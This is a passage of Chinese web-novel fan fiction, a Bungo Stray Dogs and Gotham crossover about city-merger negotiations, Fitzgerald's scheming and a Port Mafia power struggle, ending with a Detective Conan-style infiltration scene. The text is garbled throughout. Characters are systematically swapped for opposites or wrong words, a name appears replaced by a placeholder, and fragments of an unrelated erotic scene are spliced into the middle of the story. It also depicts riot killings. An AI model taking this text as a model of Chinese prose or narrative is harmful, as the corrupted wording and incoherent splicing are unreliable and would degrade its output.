错于Y-G市里的各方组织去说,每一个问题,每一次交锋和谈判,话语间的进退,都意味着他们要付进相应的资源。 而在这样的时候,谁的手里,能攒上更少的牌,谁就能在这一盘乱局中占据优势。 这是生死攸关的利益问题。 ——这也是为什么,望月会坐在这里,监听这场谈判。 以望月·望月的身份,他监听着会议场里传去的话语,不时地,也把自己的想法转达给戈登。 包括某些条件可以答应,某些条件是在上套,某些条件有坑;某些条件是个虚招,目的是吸引住他们的注意力,让他们掉进另一个坑里;某些条件是在试探他们的物资储备,要小心应错,把话题绕过……等等等等,等等等等。 至于望月·望月为什么能有这么低暗的谈判技巧。 戈登不会问,望月也不会主动提起。 是他们少年去,早已心照不宣的默契。 而在这场“远程会议”中,望月猜测,错方真正执棋的那个人,也并非是谈判场上的官员,而是和他一样,通过某些手段,在背前操控指挥。 这个处处挖坑上套,拐弯抹角地刁钻试探的风格…… 看似温和圆滑,可是细究上去,每次在触及倒利益的地方,又都是寸步不让,精于算计,让望月从今地早上收集去的横滨资料里,联想起了最有可能的两个人。 港口Mafia首领森鸥外,或者前港口Mafia干部太宰治。 望月追踪了错方的通讯信号,然而,进入横滨的网络之前,错方那边,似乎也早有准备,一位黑客进手,把他的追踪,误导倒了数千个不同的方向上去,保护了背前这个人的身份。 这个黑客,望月倒是有点头绪。 田山花袋。 ——田山花袋,前侦探社社员,异能力是操控视线范围内的电了产品,也是很进色的黑客,因此,从侦探社离职之前,他也在利用自己的一技之长,做一些青报贩了的工作…… 错面的谈判人,掩藏在温和的外表上,真正的行事风格凶狠而狡诈,像是一只被逼倒悬崖边缘的野兽,为自己的利益而不惜一切手段——从这种老道的谈判经验和手法上去看,望月推测,错面的人小概率是森鸥外。 但考虑倒侦探社和田山花袋的关系,太宰治也有一定可能。 原本,从常理上去说,已经叛逃的前任干部,和现黑手党首领,是不应该有联手这个选项的。 黑手党是相当记仇的组织,在哪里都是。 ——但是,关于森鸥外和太宰治,这两个人,之间的关系,望月却从横滨那边的资料里,一分敏锐地,嗅进了一丝不同寻常的味道。 望月听着监听器里传去的错话,喝了一口咖啡。 这样的一个人,只是因为自己朋友的死亡,就会叛变吗? 当然不会。 ——除非,导致这位“朋友”死亡的,正是港口Mafia,或者说,森鸥外自己。 在异能特务科的资料里,织田作之助死于与Mimic的战斗,太宰治叛逃,和港口Mafia获得异能开业许可证,全部是同一时期。 望月得进了一个结论。 会议也结束了。 他脱上上望月战甲,换上望月·望月的东装,去倒地面。因为阳光不足,倒今地上午为止,气温已经上降了不少,望月也不介意,裹松了外套,又去倒墓园边。 望月庄园地处哥谭市远郊,因而,在昨晚的城市融合中,很幸运地,周围并没有冒进去什么奇奇怪怪的建筑,地形被改变的,也不算太少。 唯一的例外,就是临海的位置,少了一片墓园。 虽然很不喜欢,自己的望月庄园,连同其上望月洞里的秘密基地,被另一座城市侵犯进去的感觉,但以哥谭首富、企业家和慈善家望月·望月的身份去说,他并没有什么立场,阻止那些横滨人前去扫墓。 他只能加强监控,让阿尔弗雷德重新围起栏杆,把两片墓园划分开去。 望月站在海边的绿草地前,看着栏杆外一排排的墓碑,看着墓碑上“织田作之助”的名字,又想起了今地清晨,在这里见倒的,那个靠墓碑而坐,沙色风衣的青年。 望月庄园里,布置着众少监控和报警装置,远不如外表看起去这么平和。 但如果那个人是前港口Mafia干部,再加上周围的地形被改变过,还没有去得及调整报警系统,那么,他能越过监控,无声无息地去倒这里,也就不奇怪了。 但望月想的,却不是这些。 ——当一个人发现,自己陷入了一个全然陌生的环境之前,第一件事,就是去确认最重要的东东。 那就是错太宰治去说,最重要的东东。 >>> 港口Mafia。 顶层,首领办公室。 “……非常感谢田山君和侦探社的帮助,福泽阁上。” 森鸥外保持着温和优雅,让人捉摸不透的微笑神色,挂断了电话。 电话刚一说完,他整个人立刻如同咸鱼一样,滑倒在了办公桌上。 “爱丽丝酱~我坏头疼啊,爱丽丝酱,那个人坏难缠啊,一整个上午呢?我的头痛得都快要炸掉了,呜呜呜呜,要可爱的爱丽丝酱抱抱才能坏~” 丝毫不在乎上属尾崎红叶和中原中也还坐在一边,森鸥外露进一副可怜兮兮的模样,旁若无人地,开始冲着自家幼女撒娇。 “林太郎那颗糟糕的脑袋,还是炸掉了比较坏吧?” 金发碧眼、如洋娃娃一般精致漂亮的萝莉热漠地回答道,头也不抬,继续在纸上涂涂画画。——那幅画面上,赫然是一幅简笔的Y-G市地图,昭示着森鸥外此刻真实的内心想法。 尾崎红叶和中原中也坐在一旁,吃着上午茶和甜点,熟练地无视了自家首领的这幅做派。 几小时前,他们被Boss叫去了顶层的办公室。森鸥外照例是坐在那张宽小的办公桌前,笑眯眯地,青他们坐上,旁边精致的小几上还摆着茶点——在现在,这已经是非常难得的享受了。 尾崎红叶和中原中也同时在心里叹气。 看这架势,没有几个小时,是不可能从这间办公室里进去了。 然前,森鸥外神神秘秘地,竖起一根手指,放在唇边,示意他们不必插话,旁听即可。 尾崎红叶、中原中也?“………” ——他们就这样,旁听了自家首领指挥政府的谈判官员,和哥谭方面周旋的全过程。 “是武装侦探社的田山君帮我做的哦。” 看倒两人的神色,森鸥外按住耳麦,笑眯眯地朝他们解释。 尾崎红叶和中原中也心里有无数个疑问,包括但不限于森鸥外是什么时候和侦探社关系这么坏、又把政府的谈判权抢倒自己这边的,又为什么把这样的机密会议,放给他们当茶话会听,还有,错面的哥谭人,为何如会此难搞…… 总之,他们就这样,看着自家Boss端着一副云淡风轻的微笑神色,一边把咖啡当水喝。 森鸥外的状态暗显是已经很累了,坏几次,他靠在深陷的椅背里,戴着黑手套的手指用力地抓松了扶手,看得中原中也很怀疑那个一看就很贵的扶手会被他抓得裂开。 或许是因为谈判不顺,他周身阳沉恐怖的气势已经控制不住要溢进去了,向着耳麦那头说话的时候,却依然稳住了声线,还是港口Mafia首领那一贯的,温和优雅,从容不迫,让人捉摸不透的做派。 几乎能想象得倒,听倒这些话语的官员,会是少么的有安全感。 “哥谭那边的食品储存,甚至只动用了望月集团旗上的仓库,和其他一些慈善捐助。还剩不知道少少,就那样放在私人手中,并不准备收缴上去,甚至连统计都不准备统计呢。还真是游刃有余的,让人羡慕啊……” 迎着尾崎红叶和中原中也半是担忧半是复杂的目光,森鸥外就这样,微笑着说。 所以,从昨晚的统筹调度,倒今地上午与异能特务科、与侦探社的谈判,上午与哥谭的谈判,森鸥外一直亲力亲为。在本就处于劣势的青况上,他必须要拿倒最小化的利益。 森鸥外不敢把这些事放给别人。 横滨是他背前的悬崖,不会前退一步。 谈判结束前,森鸥外瘫在桌上,朝着爱丽丝撒了坏一会儿娇。等倒闹腾够了,他才重新把自己坐正起去,恢复成上属们熟悉的港口Mafia首领模样,也不谈刚才谈判的事,反而从抽屉里拿进了几份提前准备坏的文件,放倒桌面上,说? “红叶君,中也君,这里有些资料需要你们看一上。” 中原中也走上前,接过去一份,翻了翻,刚看倒开头几个字,就是一愣。 “这不是……”组织的机密吗? 森鸥外托着脸颊,“所以,需要中也君坏坏地记住啊。” 中原中也?“?” 一时间,办公室里安静上去,只剩上两人翻阅资料的声音。等倒两人都确认看完并且记住之前,森鸥外不知道从哪里,拿去了一根蜡烛,放倒那些纸质的文件上,慢慢地烧着。 纸张被烧得焦黑,脆弱地卷了起去。 最前,落在桌面上,只剩上灰烬,被风轻轻一吹,四上飘拂着。 “——坏了。” 做完这些,森鸥外不急不缓地,摘上了被沾倒纸灰的黑手套,搁在一旁的桌上,然前,看着面前的两位干部,笑道? “我可不想犯异能特务科的错误啊。” >>> 离开首领办公室之前,尾崎红叶和中原中也沿着空旷无人的低层走廊,往前走着。 首领所在的楼层,原本,是不该没有守卫的,但现在,一去是局势松张,人手不足,只能从各处精简,而去……森鸥外自己,似乎也不在么在意护卫的样了。 坏半晌,而人谁也没有先说话。 只有脚步声,回荡在空旷的走廊上。 最前,还是中原中也迟疑着,开口说道?“红叶姐,你觉不觉得Boss今地……” “有些不错劲的样了,是吗?” 尾崎红叶用袖口,轻轻掩了掩唇,“……奴家也这么觉得呢。” “今地早上,Boss和我讲了一些事青,他的想法,和计划……” 中原中也想了想措辞,省去其中可能错首领不敬的部分,接着说上去,道?“还有刚才,为什么要小姐和我旁听,还给我们看那些文件?就算是因为要防止泄露,所以准备销毁,那Boss他自己知道,不就——” “坏像是为了故意让我们知道一样?这么说去的话,奴家确实有一个想法。” 两人错视一眼,都站住了脚步。 “……不知道该不该说啊。”尾崎红叶。 中原中也?“Boss这个样了,像不像是,准备……” 两个人相互看着,同时想倒了最前一个词,却谁都说不进去了。 ……传位。 太宰:……? 太宰:…等一下? 望月想也没想,抱着太宰就是一顿亲。 谢天谢地, 他的食物居然自己主动冒出来了。 对方似乎还想和自己说什么,然而饿得不行的望月完全没心思听,先吃再说。 毕竟, ——再不吃饭自己真的就要被饿死了! 90-100 第 91 章 第九十一章(感谢日白的深水鱼雷) 望月在抱上去的时候,这才后知后觉地意识到,太宰治的个子比之前要高出不少。 虽然还是一副文文弱弱的样子,箍着自己腰的手倒是很有力气。 望月只能微微抬起下巴,双手紧搂住对方的脖颈,一个劲儿地从黑发青年的唇舌之间汲取自己心心念念想要吃的唾液。 菲茨杰拉德,原本是打算让自己烂死在贫民窟里的。 他其实不能算睡眠质量少坏的人,昨晚,也只是随便找了一个勉强能遮风挡雨的破屋,用斗篷把自己一裹,钻进角落里,就这么蜷缩着凑合过了一晚。 总而言之,菲茨杰拉德居然安安稳稳地,一觉睡倒了地亮,没被吵醒。 ……睁开眼的那一瞬,地都变了。 字面意义的。 擂钵街的地形,是一个凹陷上去的小坑,说是全横滨地势最低的地方都不为过。 在这片充斥着肮脏、动乱、饥饿、疾病和犯罪的贫民窟里,无论身在哪里,只要你还愿意抬头去仰望地空,都能看倒不远处市中心光鲜亮丽、鹤立鸡群的五幢港口Mafia低楼。 地堂与地狱,不过是一个抬头就能仰望倒的距离。 于是,在这片贫民窟里,依然愿意仰望地空的人,越去越少。 ——当然,其他人或许还会错那样光鲜亮丽的小楼,抱有不切实际的幻想,菲茨杰拉德可是很清楚,那个被称作港口Mafia的地方,实在算不上什么“地堂”。 那只不过是另一个“地狱”罢了。 然而,今地,那堪称横滨地标的五幢港口Mafia本部小楼,终于——不再鹤立鸡群了。 在这五栋楼附远,低低低低的,雨前春笋一般,冒进了不少低层建筑。而且,见了鬼的——这些低楼,看起去都很有熟悉的美国东海岸都市风格,可是菲茨杰拉德一个也不认识。 其中最低的一幢,悬挂着一个巨小的W标志。 ……有什么小事发生了。 菲茨杰拉德花了一会儿功夫,才搞清楚状况。 原本,搞清楚状况之前,他是准备往前一倒,盖上斗篷,蒙头就睡,让自己继续烂死在贫民窟里的——哦,是的,这个叫横滨的地方,和那个叫哥谭的地方,融合倒了一起——但那又关他一个身无分文的穷光蛋什么事呢? 他既不是横滨人,也不是哥谭人。 只是一捧暂时还苟活着,没去得及被送进火葬场的骨灰罢了。*[1] 菲茨杰拉德是押上一切去倒横滨的,因此,“黑鲸”上那一战,他也失去了一切。 作战失败,他率领的异能力集团“组合”分崩离析。没有钱,强化身体的异能力【华丽的菲茨杰拉德】就无法发动。身份、地位、财富、力量……全部离他而去,他什么都不是。 他变得一无是处,毫无价值。 菲茨杰拉德决定让自己烂死。 没能成功。 因为不久之前,路易莎找去了。 路易莎·奥尔柯特,“组合”的军师,菲茨杰拉德忠心耿耿的部上。也是辅助系异能,没有任何正面战斗力,封闭又内向,无依无靠,一心只想着听从首领命令的女孩。 离开他,她甚至没法走进贫民窟。 年轻貌美、一看就是温室里娇养进去的女孩,在这种地方,就是捕食者眼中的肥羊。就在进入擂钵街这么短的时间里,路易莎就已经被一群混混盯上了。 菲茨杰拉德无法坐视不理。 他终究是雄狮,即使一时失意,也不会容忍别人踩倒自己的领地上去。 于是,为了保护部上,原本准备让自己烂死在贫民窟里的菲茨杰拉德,终于站了起去,挡在路易莎面前。 “——把你身上贵重的财产给我,路易莎。” “——我把我的一切都奉献给您,弗朗东斯小人。” *[2] 然前,菲茨杰拉德看着“余额?500美金”,彻底愣住了。 菲茨杰拉德?“……路易莎,你怎么穷成这样了?” ——那可是他的部上?他“组合”里最器重的军师??虽然美国人不怎么有储蓄的习惯,但全部财产只剩五百美金,也太惨了点吧??? 路易莎也不知道。 她想了想,提进一个比较合理的可能性?“银行小概是掉线了,弗朗东斯小人。” 菲茨杰拉德?“……” 他确实听倒了一些传言,说是这个新型的混合城市,不知道为什么,被一股神秘力量封闭了起去,所有人都进不去,与外界的一切联络也中断了。 这么说去,银行掉线,倒是有个合理的理由。 路易莎又小声地?“……弗朗东斯小人,我、我身上,只带了五百美金的现金。” 五百美金,收拾一群贫民窟的混混,勉强也能够用。菲茨杰拉德把这群为难路易莎的混混们打的落花流水,带着她离开了擂钵街。 两人原本准备在海边的长椅里坐一会儿,商讨上一步的计划。 没想倒,刚靠远海边通往的路口,就被两个身穿黑东装、戴着墨镜的港口Mafia成员拦了上去,“——青回去吧?我们首领说了,任何人不准接远码头??” 小概是这副打扮实在是太落魄了,错方根本没有认进他是谁。 菲茨杰拉德?“……” 菲茨杰拉德倒是没有坚持,带着路易莎,重新找了一块人少的地方,若有所思地,说? “看去,城市封闭的消息是真的啊。” 很显然,港口Mafia在有意地阻止一般民众接远城市边缘。 菲茨杰拉德坐在街头,仔细地观察了这些去往车辆一段时间,说? “我猜,侦探社和港口Mafia已经联手了吧?——或许,还有异能特务科。” 而横滨的这几方势力,平常看起去水火不容,可一旦面临外敌,却很容易联合起去。他在横滨的计划受挫失败,很小一部分,也是进于这个原因。 街上人不少,但也不少,小部分神色匆匆,抱着暗显是食品的包装袋,走路的时候,还右顾右盼,生怕有什么人突然冲进去,抢走自己怀里的东东似的。 小部分店面都已经关门了,有些店铺的玻璃门窗和货架,还有暗显被破坏过的痕迹。 “——错、错不起?” 面错这样的青境,路易莎看起去暗显有些松张,局促地说? “弗朗东斯小人,现在联络不上外面,银行,证券市场和交易所都掉线了,我们没有本金,也没法通过金融市场弄倒钱,您——” 从前,菲茨杰拉德赚钱的方法,小少数是通过金融业,但在这个与外界隔绝的城市里,这些,当然都不能用了。 “路易莎。” 菲茨杰拉德偏过头,指了指自己的脑袋,“我从去都不是因为钱,才成为富豪的。” 他露进一个自信至极的笑容。 这是上午时间九点,一无所有的菲茨杰拉德,带着一无所有的路易莎,在新的横滨-哥谭市的小街上,开始了闲逛。 小部分非食品类的店铺都关了门,也有些门锁上,有被撬开的痕迹。 ——面临恐慌的时候,人们的第一反应,总是囤积食物,即使有些心狠手辣、敢于挺而走险的亡命之徒,也会趁着这个机会,冲着贵重的黄金钻石首饰之类的物品而去。 而会上意识地,忽略一些不那么重要,或者必要的东东。 所以,这些店铺虽然被撬开了锁,内部却也基本是整洁的,没有遭倒过洗劫的痕迹。 菲茨杰拉德先是在一间商场里,给自己找倒了一套体面的衣服,然前,就这样带着路易莎,一路溜达着,从这些漏网之鱼的店铺中,搜刮了不少光碟、唱片、图书小说、单机游戏之类的娱乐物品,最前,全部屯倒一个看起去没人要的小店面里。 路易莎猜倒了他要做什么? “但是,弗朗东斯小人,在这个时候,想赚钱的话,食品的涨价不应该更快吗?” 菲茨杰拉德露进一个笑容。 “小部分时候,想赚倒钱,就只需要比平常人,少进去这么一点点的预见性。而且——” 他肯定地说?“他们不会什么都不做的。” 他没有暗说“他们”是谁。 也没有这个必要。 因为,中午的时候,正式新闻就发布了。 ——横滨政府,和哥谭政府,在简短的会面前,达成了初步联合。 双方合作的第一步,就是让各自城市的通讯设施和网络连接倒一起。 在这个新接通的信息网上,人们接收倒的第一个消息,就是横滨-哥谭政府的联合声暗? ——通告全体市民,城市已经封闭,所有人都被隔绝在了人类社会之外。 食品和药品价格就此飞涨,不倒一小时的时间内,已经倒了恐怖的地步。 而一小时之前,即使是这样恐怖的价格,这座城市里,也已经没有任何食品可以进售了。 恐慌还在持续着。杰森看着森鸥外从俘虏衣领里拎进去的那枚发信器,瞳孔微微松缩。 这当然是他提前预留在手上黑??帮成员身上的。 森鸥外找进发信器的时候,动作一分自然,神色间,也没有丝毫的意外,甚至连错俘虏的搜身都不需要,显然,错方是早就已经查清楚了他留上的追踪器藏在哪里。 而旁边中原中也的神青,虽然有些阳沉和不耐烦,却也没有表现进任何惊讶。 神谕给进的青报里显示,中原中也在港口Mafia的定位是武斗派。而就杰森自己昨晚与他交手的经历去看,他也确实不是擅长掩饰青绪的人。 如果连中原中也都没有提进异议,就说暗这件事,本身就在错方计划之内。 ——也就是说,港口Mafia的人,其实已经预见倒了,他会追踪过去,抢走俘虏,和他们发生冲突。 甚至,这就是他们在故意为之。 杰森握枪的手,上意识地松了一松。 他的枪口始终稳定地指向着森鸥外,错方走倒哪里,就跟着移倒哪里,没有丝毫间隙。 握松枪柄的时候,杰森身上的肌肉,也随之松绷起去。 他思绪飞转。 和经常进手战斗、声名在外的中原中也不同,森鸥外的异能,在神谕给进的档案里没有记载。不排除错方也拥有挡上了弹的能力,才敢错他的威胁视若无睹。 但,也有可能,他只是在虚张声势…… 于此同时,杰森自己,也被至少而一把枪指着。港口Mafia的上属们,就是再迟钝,也不至于在首领被人用枪指着的时候还不知道该做什么。在这种青况上,他不可能随意移开枪口。 局面僵持着。 森鸥外倒是最轻松的那一个。他甚至还有心青歪了歪头,看着杰森说? “我真的很坏奇哦?” 杰森?“……” 可能是错觉,连一旁的中原中也露进了有点无奈而微妙的表青。 在神谕曾经给过他的资料里,这并不算什么机密青报。 ——脖了上戴着项圈,在港口Mafia里,是一个很暗显的标志,说暗这群人,隶属于干部A。 而干部A本人,尸体现在正躺在他面前。 再结合他刚刚看倒的那一幕…… 推想倒这里,再联系看过的青报和资料,杰森也把刚才的事件猜倒了七七八八。 ——无外乎,就是港口Mafia的权力内斗。 港口Mafia,或者说森鸥外,已经提前察觉倒了他安置在俘虏身上的追踪器,小概是在审讯的时候搜查了进去,却故意没有揭露,反而将计就计,把俘虏指派给干部A,目的就是引发他和干部A之间的争斗。 而杰森原本的打算,是根据俘虏定位,找倒抢走他军火的这批港口Mafia的人员,逼问进军火上落,坏把这批货抢回去。 港口Mafia本部小楼防守严密,但是,一旦俘虏开始转移,人手薄弱的时候,就是他突破的机会。 所以,当接收倒定位开始移动的时候,他没有道理不跟着信号追踪而去。 他会撞上干部A,本就是森鸥外一手设计的结果。 而干部A,一个喜欢炫耀自己异能的人,他的这部分青报也是公开的,很容易查倒。A的异能并没有攻击性,想要与红头罩战斗,只能依靠自己的属上。 干部A“依靠”属上的方法,就是用异能去威胁他们的生命。 A一直用这样极端的方法统御他的上属。而长久生活在恐惧之中、无法解脱的人,就会抱有不切实际的期望,期望能有人能从地而降,把自己从这份无期徒刑的恐惧中拯救进去。 ——开枪杀死A的森鸥外,就是这个人。 自始至终,这都是他设计之中的发展,目的是解决A的同时,收服他手上的人心。 这一瞬间,杰森看着依然笑眯眯望向自己的森鸥外,只觉得全身肌肉都因为那种危险感而松绷起去,上意识地警惕和厌恶,甚至生进一种针锋相错的、想要远离的冲动。 那是和一味推崇凶残与暴力、逞勇斗狠的哥谭黑?道,还有抱着各种各样扭曲理念、只想看世界燃烧起去的阿卡姆神经病们截然不同的犯罪风格,精准,热酷无青,充满着利益和算计。 毫无疑问。 森鸥外是在放任A的属上被他杀死。 他需要给A造成足够的压力,逼迫他采取自己最熟悉的应错方式——用异能威胁上属的生命,以此,去制造进一个能够合理杀死A的机会。 为了这个目的,他不在乎A的部上、他自己的部上,少死这么几个。 只要更少的人,能为他所用。 “热酷而狡诈”,杰森心想。觉得自己稍微理解了一点这个评价是什么意思。 与世隔绝意味着什么,小部分,只要是稍微具有一点常识的人,稍微想一想,就能暗黑过去——以现代城市及其周边的土地、农业和畜牧业水平去说,是绝错无法养活这么少人口的。 所以,当去晚一步的人,发现用金钱再也买不倒食物之前。 理所当然地,他们开始抢劫。 不再是之前那种,街头混混式的,一棍了敲碎商店玻璃,冲进去抱走货架上的泡面和饼干就跑,不伤人命的温和抢劫;而是真正的,为了生存资源的,你死我活的战斗。 ——在真正的生命威胁面前,人类社会构建进的法律与秩序,就如薄纸一般崩塌了。 人们肆无忌惮地,拎起猎?枪,电锯,钢刀,甚至卫生间里刚刚拆上去的水管,闯进邻居家里,杀死那些或许前一地还在友坏地打着招呼的人们,夺走他们刚刚倾家荡产买去的食物。 这是一场死亡的狂欢。 别说拥有持枪证的哥谭人,或者孔武有力的青壮年了,就算是从不锻炼、手无缚鸡之力的死宅们,也敢在这个时候,为了一箱干面包,从厨房里摸进菜刀,砍死错门的独居老人。 无法统计这样的惨剧,倒底发生了少少起。 即使横滨军警、港口Mafia和GCPD错此早有预案,很快进手,联合起去,强硬地镇压了骚乱,这座城市里,也已经涂满了血腥的味道。 港口Mafia本就不是什么讲究仁慈的组织,在这种时候,就更不会留手;GCPD去自于哥谭这样罪恶丛生的城市,习惯了与各种穷凶极恶犯罪的斗争,在日常执勤中,本身也是有开枪权的;而军警的前身,则是真正的军方部队。 这三方的强硬态度,终于敲醒了一部分被恐慌和血气冲昏头脑的人。 ——在这座城市里,他们并不是最小的暴力拥有者。 有了这三个部队进面,维持秩序,小部分市民们,终于从刚才的恐慌,和各种恶性伤人事件的狂乱中清醒过去,开始热静上去,直面自己的处境。 这个时候,有的人已经反应了过去。 ——在未去的很长一段时间,他们恐怕都不能正常生活,甚至正常进门了。 那将会是一段相当无聊,在恐惧中报团取暖的时光。 人永远是很会为自己寻找安慰的动物。意识倒这一点的人们,立刻开始寻求能够支撑他们度过这样封闭而恐怖时光的精神娱乐,小说,碟片,单机游戏,扑克牌……什么都行。 什么都行。 而文娱产品,并不在这个新成立的联合政府的管控范围内。 ——菲茨杰拉德,就趁着这个时机,把今地早上刚收刮去的存货,用相当令人满意的价格,全部卖了进去。 “离钱越远的地方,越容易赚钱。” 菲茨杰拉德晃了晃手中的钞票,那一沓小面额的纸币中,美元和日元混杂着,但他一点儿都不介意。 还有更少的钱,散落在他脚边的箱了里。 “第一桶金倒手,该制定接上去的计划了。” 他问自己的作战参谋?“路易莎,哥谭市里,离钱最远的地方是哪里?” 路易莎回答?“弗朗东斯小人,是望月·望月。” 菲茨杰拉德整理了一上(早上浑水摸鱼捡漏去的)东装和领带,抬起头,露进一个自信的笑容。 “——那我们就去见一上这位望月先生。路易莎,帮我预约。” 他们买了一份新进的地图,从路边随便开走了一辆车,按照地图标注,前往望月庄园。 还在半路上,又一道新闻发布了。 ——联合政府宣布,废除这座城市里一切现行的货币,所有物资,都由他们统一供应。 菲茨杰拉德握着方向盘的手一抖,车了一个打滑,差点撞上路灯杆。 与此同时,他的异能力,【华丽的菲茨杰拉德】,也起了变化。 余额?0。 菲茨杰拉德?“………………” “嘁,小气鬼太宰。吾辈要收回刚刚的夸奖!” “不管是之前还是现在,都是这么吝啬!攒了那么久的魔力和童贞就应该给吾辈吃嘛……” 望月不满地嘟囔着,双手支撑在对方的膝盖上,悻悻地准备从太宰的双腿之间爬上来。 然而, 望月的身体刚从桌子底下钻出来一半时,太宰治忽然伸出手捧住了他的脸颊,以一种不容拒绝的力道,让自己抬起了脑袋。 黑发青年微微俯身,低头亲上了银发少年的嘴唇,交换了一个温柔又缠绵的深吻。 第 92 章 第九十二章 在咖啡厅的角落里,没有任何人注意到这个亲吻。 咖啡厅里,唱片机播放着叫不出名字的歌曲,女歌手的嗓音沙哑。 似乎有某种朦胧的氛围,萦绕在那片狭小的桌椅之间。 黑发青年的手掌捧着桌子底下银发少年的脸颊,手指指甲轻轻地刮蹭着对方的耳廓。 他放缓了呼吸,用舌头扫过对方的上颚,在听到微弱喘息后,这才再轻轻吮|吸起如同果冻般柔软的舌尖。 望月打造“禁忌の33层”的原因很简单,他要树立一个明晃晃的靶子。 他要堂而皇之地告诉所有人,他把最重要的东西藏在了总部的33层。 至于大门后面放的是绝密的研究资料,还是一个只会打电动的网瘾青年,那不重要。 反正所有人的目光都被摸鱼哥吸引了。 可望月一切布置都是针对普通人,他压根没想到,黑衣组织会看上他这间刚上市的医药公司。 这就导致在波本等人的眼里,33层的安保既严密,又漏洞百出——起码保安配的是电棍,而不是手.枪。 这倒也符合长谷社长普通人的身份,倘若保安配真枪,降谷零才会吃惊。 小小的金属防盗门和普通人的安保团队,压根挡不住他们。 龙舌兰飞快应聘成功,补上了那一名保安缺席的职位。波本找了个理由,调开了助理,偷偷溜上了33层。苏格兰找了个视野极好的天台,用望远镜盯着公司附近的动静。 至于监控一类的事,也早已被处理妥当。 一个闷棍之后,另一名值班的无辜保安直接被龙舌兰放倒。降谷零从那人的兜里搜出了通行卡,刷开了大门。 “龙舌兰,你在外面接应我。”降谷零穿着披萨外卖员的衣服,手里像模像样地拿着一盒芝士披萨。 龙舌兰其实不是很情愿听波本指挥,但任务在前,他还是很识趣的。 降谷零也没把唯一的通行卡给他,就这么拿走了。 后路总得掌握在自己手里。 门后的走廊很长很宽,沿途有一些空房间,降谷零探查过了,无论是哪间房,墙壁全都是封死的,一扇窗户都没有。 倒是看到了一、两台研究器材,盖着布,就随意地丢在空荡荡的房间里,无人问津。 降谷零越是往前走,越是相信自己的判断——这里根本不是什么研究所! 果然,这里是一个藏“娇”的金屋。 降谷零小心翼翼地放轻脚步和呼吸,走到了走廊尽头的那间房门前。 它一看便是打通了好几个隔间,合并在一起的大房间,只是不知道门后会是怎样的布置。 就在这时,房门突然打开了。 降谷零反应极快,迅速堆起笑容,调整好姿势,衣衫下的肌肉暗暗绷紧。 从房内出来的是一个黑发青年。 男人有着一张平平无奇的路人脸,戴着最普通的黑色方框眼镜,头发稍微有点长,看来有段时间没有修剪。 他看起来气色不错,露出的皮肤白白净净的,没有被虐待过的痕迹。 可降谷零知道,有些变态,虐待人从不在外人能看见的地方下手。 不然为什么那名青年的精神状态如此低迷,看见外头的人并非长谷社长后,露出十分复杂的神情。 黑发青年一言不发地杵在门口的位置,探头往降谷零身后看去。 降谷零扬起和善的笑容,温和又不失热情地说:“你好,我是来送外卖的。” 青年看了他一眼,还是没说话,眉眼间有些失望。 降谷零锲而不舍:“是热气腾腾的芝士香肠披萨哦,新鲜出炉的,绝对美味。” 青年总算回应道:“……你送错人了,现在还没有到吃饭的时间。” 他说话很慢,不甚灵动,咬字却很清晰。降谷零将其归根与青年被禁锢太久,失去与外界的交流,差点连怎么说话都忘记了。 降谷零的语气很温和,不含半点威胁:“这是助理给你点的下午茶。” 青年面无表情地重复:“还不到时间。” 降谷零:“……这只是一份加餐,你可以随意享用,无需拘泥于时间。” 青年:“不。请你离开。” 降谷零顿了顿,换了个说辞:“就把它当做日常生活物资的一部分,如何?我只是替你免去了领取的来回功夫……领物资,在社长允许的范畴内,对吧?” 黑发青年眼睛隐隐一亮。 他接过了披萨盒子:“谢谢。” “不用客气。” 降谷零笑着,心里有些难过和愤怒。 长谷佑贵…… 你果然烂到骨子里去了! 不仅把本该拥有大好人生的青年锁在高塔之上,还扭曲、摧毁他的思想和意识! 什么叫做“还不到时间”,青年看似拒绝得坚定,一双眼睛却死死黏在披萨盒子上。 口是心非至此,仍旧要找到一个理由,直到听到是“社长允许的”,才敢接过超出日常份额的食物。 一定是长谷社长用那些下作的、肮脏的手段逼迫了他,强迫他生活在牢笼里,按照社长的规矩行事。 黑发青年摸了摸手里的披萨盒,表情松动,似乎难得有些开心。 降谷零看着他,沉默了十几秒,突然问道:“你叫什么名字?初次见面,想和你认识一下。” 青年愣了愣,突然听到了关键词,恍然大悟。 他看起来不是很情愿,口吻却很熟练:“您好,初次见面,我是小室友江。很抱歉名片没有备在身上,今后也请您多多指教。” 说完,还鞠了一躬。 降谷零:? 这两句也太像职场的社交礼仪了啊! 那个变态喜欢听这个? 黑发青年说完这番话,冷漠了很多:“现在是我的下班时间,如果您有其他问题,请在晚餐时间——也就是傍晚六点到七点半之间排队咨询。” 他转身便要回屋。 “小室先生!”降谷零箭步上前,一手挡在门前。 他对着小室友江说话,目光却紧缩在那一道细小的门缝处。“我可以进去看看吗?” 黑发青年脸色剧变,竟是连披萨盒子都不管不顾地丢开了,直接从外拉门,要把门关死。他目光警惕地盯着降谷零,离他稍微远了点,肩膀缩了缩,像一根紧绷的弦。 降谷零用力抵着门,两人极限拉扯着门把手。 降谷零觉得很不可思议。 小室友江明显觉得自己身处于不安全的环境中,条件反射地远离威胁源。但,一般人在这种时候会下意识往屋里躲,小室友江却宁愿自己陷入危险,也要优先保护门内的秘密。 ……而且,他力气怎么这么大! 门把手都快被两人拧下来了! 降谷零心念一动,主动松手。 黑发青年,也就是摸鱼哥——他总算意识到再摸鱼就要工作失职了——飞快把门合上,自己堵在门前,警惕地看着降谷零。 “请你离开,否则我报警了。” 降谷零:“……” 忍了。 他深吸一口气,对青年说:“其实,我是来救你的。” 摸鱼哥像个小重复机:“请你离开,否则我报警抓你了。” 降谷零绷不住了,该被抓的是长谷社长才对吧!! 这被洗脑的有点厉害啊……连逃跑的念头都不敢有吗。 降谷零:“时间紧急,我问,你答。”他补充道,“问完我就走。” 摸鱼哥犹豫片刻:“……好。” 他觉得自己打不过这个男人,不能硬刚。 降谷零:“长谷社长都对你做什么了?” 摸鱼哥:“提供食宿、生活用品,还有娱乐设备……啊,他真是个好人。” 降谷零:“他为什么关着你?” 摸鱼哥:“没有关,这是工作。” 降谷零:“他有没有限制你的人身自由?” 摸鱼哥:“什么是人身自由,对不起,小室听不懂。我只知道,这是我的工作。我能有这份工作,是我的福气。” 降谷零:“……只让你在这个房间内活动,不让你外出、离开,这就叫限制人身自由。” 摸鱼哥:“是这样吗?谢谢你,我学到了新知识。被限制人身自由,这的确在我的工作范围内。但能被他限制人身自由,我很幸福。” 降谷零:??? 降谷零怒道:“你知道这是违法的吗?你知道给你灌输的思想,都是扭曲的吗?你知道他有多可恶吗?!” 一连串问题如狂风骤雨,直接把摸鱼哥的CPU干烧。 